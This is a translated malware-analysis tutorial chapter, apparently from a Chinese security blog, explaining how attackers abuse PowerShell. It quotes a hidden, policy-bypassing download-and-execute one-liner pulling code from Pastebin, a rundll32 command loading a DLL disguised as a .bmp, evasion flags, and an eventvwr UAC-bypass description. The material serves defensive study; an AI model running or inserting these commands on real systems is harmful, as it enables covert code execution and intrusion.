九维团队-青队(处置)| 恶意样本分析之恶意软件的功能和持久化(四)

admin 2022年7月20日18:39:32评论62 views字数 6586阅读21分57秒阅读模式

九维团队-青队(处置)| 恶意样本分析之恶意软件的功能和持久化(四)

特别说明及声明

  1. 本文原文为K A, Monnappa. 2018年发表的《Learning Malware Analysis》,本文的相关内容均为笔者对相关内容的翻译及实践记录,仅供各位学术交流使用。另出于易读性考虑,对部分字句有所删改。


  2. 如各位需要引用,请做原文引用,格式如下所示:
    [序号]K A, Monnappa. LearningMalware Analysis[M]. 2018.06. Published by Packt Publishing Ltd. Livery Place 35 Livery Street Birmingham B3 2PB, UK.

  3. 因文章整体内容较长,完整内容将会在本公众号拆分为多篇内容分别发出。本文为该系列的第四篇,往期内容请参见:

    恶意样本分析之恶意软件的功能和持久化(一)

    恶意样本分析之恶意软件的功能和持久化(二)

    恶意样本分析之恶意软件的功能和持久化(三)




1.6 基于PowerShell的执行



了逃避检测,意软件作者往往会利用系统中已经存在的工具使得他们能够隐藏其恶意活动,如PowerShellPowerShell是一个基于.NET框架的管理引擎。该引擎暴露了一系列被称为cmdlets的命令,它被托管在一个应用程序和Windows操作系统中,该系统默认提供一个命令行界面(互动控制台)和一个GUI PowerShell ISE(集成脚本环境)。

PowerShell不是一种编程语言,但它允许用户创建包含多个命令的有用脚本。用户也可以打开PowerShell提示符并执行单个命令。PowerShell通常由系统管理员用于合法目的。


然而,攻击者使用PowerShell来执行恶意代码的情况也在增加。攻击者使用PowerShell的主要原因是它提供了对所有主要操作系统功能的访问,而且留下的痕迹非常少,从而使检测更加困难。


下面概述了攻击者如何在恶意软件攻击中利用PowerShell:

  • 在大多数情况下,Powershell被用来下载其他组件。它大多是通过含有文件(如.lnk、.wsf、JavaScript、VBScript或含有恶意宏的办公文件)的电子邮件附件传递,这些文件能够直接或间接执行PowerShell脚本。一旦攻击者欺骗用户打开恶意附件,那么恶意代码就会直接或间接调用PowerShell来下载额外的组件。

  • 它被用于横向移动,攻击者在远程计算机上执行代码,在网络内部传播。

  • 攻击者使用PowerShell直接从内存动态加载和执行代码,而不访问文件系统。这使得攻击者可以隐身,并使其取证分析更加困难。

  • 攻击者使用PowerShell来执行他们的混淆代码;这使得传统的安全工具很难发现它。


如果你是PowerShell的新手,你可以在以下链接中找到许多教程来开始使用PowerShell:

https://social.technet.microsoft.com/wiki/contents/articles/4307.powershell-for-beginners.aspx

*左右滑动查看更多


1.6.1 PowerShell命令基础知识


在深入研究恶意软件如何使用PowerShell的细节之前,我们先了解一下如何执行PowerShell命令。


你可以使用交互式PowerShell控制台执行PowerShell命令;或是可以使用Windows程序搜索功能或在命令提示符中输入powershell.exe来调出它。一旦进入交互式PowerShell,你就可以输入命令来执行它。


在下文的例子中,Write- Host cmdlet把信息写到了控制台。cmdlet(如Write-Host)是一个用.NET框架语言编写的编译命令,其目的是小型、并为单一目的服务。


cmdlet遵循一个标准的动词-名词命名惯例。

PS C:> Write-Host "Hello world"  Hello world


一个cmdlet可以接受参数。参数以破折号开始,紧接着是参数名称和一个空格,然后是参数值。


在下面的例子中,Get-Process cmdlet被用来显示关于explorer进程的信息。Get-Process cmdlet接受了一个参数,其名称为Name,其值为explorer。

PS C:> Get-Process -Name explorer Handles NPM(K) PM(K) WS(K) VM(M) CPU(s) Id ProcessName  ------- ------ ----- ----- ----- ------ -- -----------  1613 86 36868 77380 ...35 10.00 3036 explorer

*左右滑动查看更多


另外,你也可以使用参数快捷键来减少一些输入,上述命令也可以写成:

PS C:> Get-Process -n explorer Handles NPM(K) PM(K) WS(K) VM(M) CPU(s) Id ProcessName  ------- ------ ----- ----- ----- ----- -- -----------  1629 87 36664 78504 ...40 10.14 3036 explorer

*左右滑动查看更多


要获得更多关于cmdlet的信息(比如关于语法和参数的细节),可以使用Get-Help cmdlet或help命令。如果希望获得最新的信息,可以使用这里显示的第二条命令,在线获得帮助。

PS C:> Get-Help Get-Process PS C:> help Get-Process -online


在PowerShell中,变量可以用来存储数值。在下面的例子中,hello是一个前缀为$符号的变量。

PS C:> $hello = "Hello World"  PS C:> Write-Host  $hello Hello World


变量也可以保存PowerShell命令的结果,然后该变量可以用来代替命令,如下所示:

PS C:> $processes = Get-Process PS C:> $processes | where-object {$_.ProcessName -eq 'explorer'} Handles NPM(K) PM(K) WS(K) VM(M) CPU(s) Id ProcessName ------- ------ ----- ----- ----- ------ -- ----------- 1623 87 36708 78324 ...36 10.38 3036 explorer

*左右滑动查看更多


1.6.2 PowerShell脚本与执行策略


PowerShell的功能允许你通过组合多个命令来创建脚本。PowerShell脚本的扩展名是.ps1。默认情况下用户将不被允许执行PowerShell脚本,这是由于PowerShell中默认的执行策略设置阻止了PowerShell脚本的执行。执行策略决定了执行PowerShell脚本的条件。


默认情况下,执行策略被设置为 "受限",这意味着PowerShell脚本(.ps1)不能被执行,但我们仍然可以执行单个命令。


例如,当Write-Host "Hello World "命令被保存为PowerShell脚本(hello.ps1)并执行时,你会得到以下信息,这说明运行脚本被禁用。这是由于执行策略的设置。

PS C:> .hello.ps1 .hello.ps1 : File C:hello.ps1 cannot be loaded because running scripts is disabled on this system. For more information, see about_Execution_Policies at http://go.microsoft.com/fwlink/?LinkID=135170. At line:1 char:1 + .hello.ps1 + ~~~~~~~~~~~ + CategoryInfo : SecurityError: (:) [], PSSecurityException + FullyQualifiedErrorId : UnauthorizedAccess

*左右滑动查看更多


执行策略不是一个安全功能,它只是一个防止用户意外执行脚本的控制手段。要显示当前的执行策略设置,你可以使用下面的命令:

PS C:> Get-ExecutionPolicy  Restricted


可以使用Set-ExecutionPolicy命令来改变执行策略的设置(前提是以管理员身份执行该命令)。


在下面的例子中,执行策略被设置为Bypass,这允许脚本不受任何限制的运行。如果我们遇到了一个恶意的PowerShell脚本,并想执行它以确定它的行为,这个设置将会对你的分析很有用:

PS C:> Set-ExecutionPolicy Bypass  PS C:> .hello.ps1 Hello World


1.6.3 分析PowerShell命令/脚本


与汇编代码相比,Powershell命令很容易理解,但在某些情况下(比如PowerShell命令被混淆了),就可能会想运行PowerShell命令来了解它的工作原理。


测试单个命令的最简单方法是在交互式PowerShell中执行它。如果你想执行一个包含多个命令的PowerShell脚本(.ps1),首先将执行策略设置改为Bypass或Unrestricted(如前所述),然后使用PowerShell控制台执行该脚本。记住要在一个隔离的环境中执行恶意的脚本。


在PowerShell提示符下运行脚本(.ps1)将一次性运行所有命令。如果你想控制执行,那么可以使用PowerShell ISE(集成脚本环境)调试PowerShell脚本。


你可以通过使用程序搜索功能调出PowerShell ISE,然后将PowerShell脚本加载到PowerShell ISE中,或者复制粘贴一个命令并使用其调试功能(如Step Into、Step Over、Step Out和Breakpoints),可以通过调试菜单访问。调试前,确保将执行策略设置为Bypass。


九维团队-青队(处置)| 恶意样本分析之恶意软件的功能和持久化(四)


1.6.4 攻击者是如何使用PowerShell的


在了解了基本的PowerShell和使用什么工具进行分析后,现在让我们看看攻击者是如何使用PowerShell的。


由于通过PowerShell控制台或双击执行PowerShell脚本(.ps1)的限制(这将在记事本中打开,而不是执行脚本),不太可能看到对手直接向受害者发送PowerShell脚本。


攻击者必须首先欺骗用户执行恶意代码;这主要是通过发送含有.lnk、.wsf、javascript或恶意宏文件等文件的电子邮件附件来实现。一旦用户被骗打开附件文件,恶意代码就可以直接调用PowerShell(powerhell.exe),或通过cmd.exe、Wscript、Cscript等间接调用。


在PowerShell被调用后,可以使用各种方法绕过执行策略。例如,为了绕过执行限制策略,攻击者可以使用恶意代码调用powershell.exe,并通过Bypass执行策略标志,如下图所示,即使用户不是管理员,这种技术也会起作用,它可以覆盖默认的执行限制策略并执行脚本。


九维团队-青队(处置)| 恶意样本分析之恶意软件的功能和持久化(四)


以同样的方式,攻击者使用各种PowerShell命令行参数来绕过执行策略。下表概述了用于逃避检测和绕过本地限制的最常见的PowerShell参数。


命令行参数

描述

ExecutionPolicy Bypass (-Exec bypass)

忽略执行策略的限制,不加警告地运行脚本

WindowStyle 隐藏 (-W Hidden)

隐藏PowerShell窗口

NoProfile (-NoP)

忽略配置文件中的命令

EncodedCommand (-Enc)

执行以Base64编码的命令

NonInteractive (-NonI)

不向用户显示交互式提示

Command (-C)

执行单个命令

File (-F)

执行指定文件中的命令


除了使用PowerShell命令行参数,攻击者还在PowerShell脚本中使用cmdlet或.NET APIs。以下是最经常使用的命令和功能:

  • Invoke-Expression(IEX): 这个cmdlet评估或执行一个指定的字符串作为一个命令。

  • Invoke-Command: 这个cmdlet可以在本地或远程计算机上执行PowerShell命令。

  • Start-Process: 这个小程序从一个给定的文件路径启动一个进程。

  • DownloadString: 这个方法来自System.Net.WebClient(WebClient类),从一个URL中下载资源为一个字符串。

  • DownloadFile(): 该方法来自System.Net.WebClient(WebClient类),将资源从URL下载到本地文件。


下面是作者博客中提到的一个攻击中使用的PowerShell下载器的例子。

https://cysinfo.com/cyber-attack-targeting-indian-navys-submarine-warship-manufacturer/

*左右滑动查看更多


在这种情况下,PowerShell命令通过cmd.exe被包含在微软Excel表格中的恶意宏调用,该表格是以电子邮件附件形式发送给受害者的。


PowerShell将下载的可执行文件作为doc6.exe丢在%TEMP%目录下。然后,它为被丢弃的可执行文件添加了一个注册表项,并调用eventvwr.exe,这是一种有趣的注册表劫持技术,允许doc6.exe被eventvwr.exe以高完整性级别执行。这种技术还默默地绕过了UAC(用户账户控制)。


九维团队-青队(处置)| 恶意样本分析之恶意软件的功能和持久化(四)


以下是一个目标攻击的PowerShell命令。

https://cysinfo.com/uri-terror-attack-spear-phishing-emails-targeting-indian-embassies-and-indian-mea/

*左右滑动查看更多


在这种情况下,PowerShell被恶意宏调用,而不是直接下载可执行文件,而是使用DownloadString方法从Pastebin链接下载base64内容。在下载了编码的内容后,它被解码并丢到磁盘上。

powershell -w hidden -ep bypass -nop -c "IEX ((New-ObjectNet.WebClient).DownloadString('http://pastebin.com/raw/[removed]'))"

*左右滑动查看更多


在下面的例子中,在调用PowerShell之前,一个恶意软件投放者首先在%Temp%目录下写了一个扩展名为.bmp的DLL(heiqh.bmp),然后通过PowerShell启动rundll32.exe来加载DLL并执行DLL的导出函数dlgProc。

PowerShell cd $env:TEMP ;start-process rundll32.exe heiqh.bmp,dlgProc

*左右滑动查看更多


关于恶意软件攻击中使用的不同PowerShell技术的更多信息,请参阅白皮书。在攻击中越来越多地使用PowerShell。

https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/increased-use-of-powershell-in-attacks-16-en.pdf

*左右滑动查看更多


攻击者利用各种混淆技术来增加分析难度。要了解攻击者如何使用PowerShell混淆技术,可观看Daniel Bohannon在Derbycon上的演讲。

Bohannon: https://www.youtube.com/watch?v=P1lkflnWb0I

*左右滑动查看更多


(未完待续)





—  往期回顾  —

九维团队-青队(处置)| 恶意样本分析之恶意软件的功能和持久化(四)
九维团队-青队(处置)| 恶意样本分析之恶意软件的功能和持久化(四)
九维团队-青队(处置)| 恶意样本分析之恶意软件的功能和持久化(四)
九维团队-青队(处置)| 恶意样本分析之恶意软件的功能和持久化(四)
九维团队-青队(处置)| 恶意样本分析之恶意软件的功能和持久化(四)



关于安恒信息安全服务团队
安恒信息安全服务团队由九维安全能力专家构成,其职责分别为:红队持续突破、橙队擅于赋能、黄队致力建设、绿队跟踪改进、青队快速处置、蓝队实时防御,紫队不断优化、暗队专注情报和研究、白队运营管理,以体系化的安全人才及技术为客户赋能。

九维团队-青队(处置)| 恶意样本分析之恶意软件的功能和持久化(四)

九维团队-青队(处置)| 恶意样本分析之恶意软件的功能和持久化(四)

九维团队-青队(处置)| 恶意样本分析之恶意软件的功能和持久化(四)

原文始发于微信公众号(安恒信息安全服务):九维团队-青队(处置)| 恶意样本分析之恶意软件的功能和持久化(四)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月20日18:39:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   九维团队-青队(处置)| 恶意样本分析之恶意软件的功能和持久化(四)http://cn-sec.com/archives/1188836.html

发表评论

匿名网友 填写信息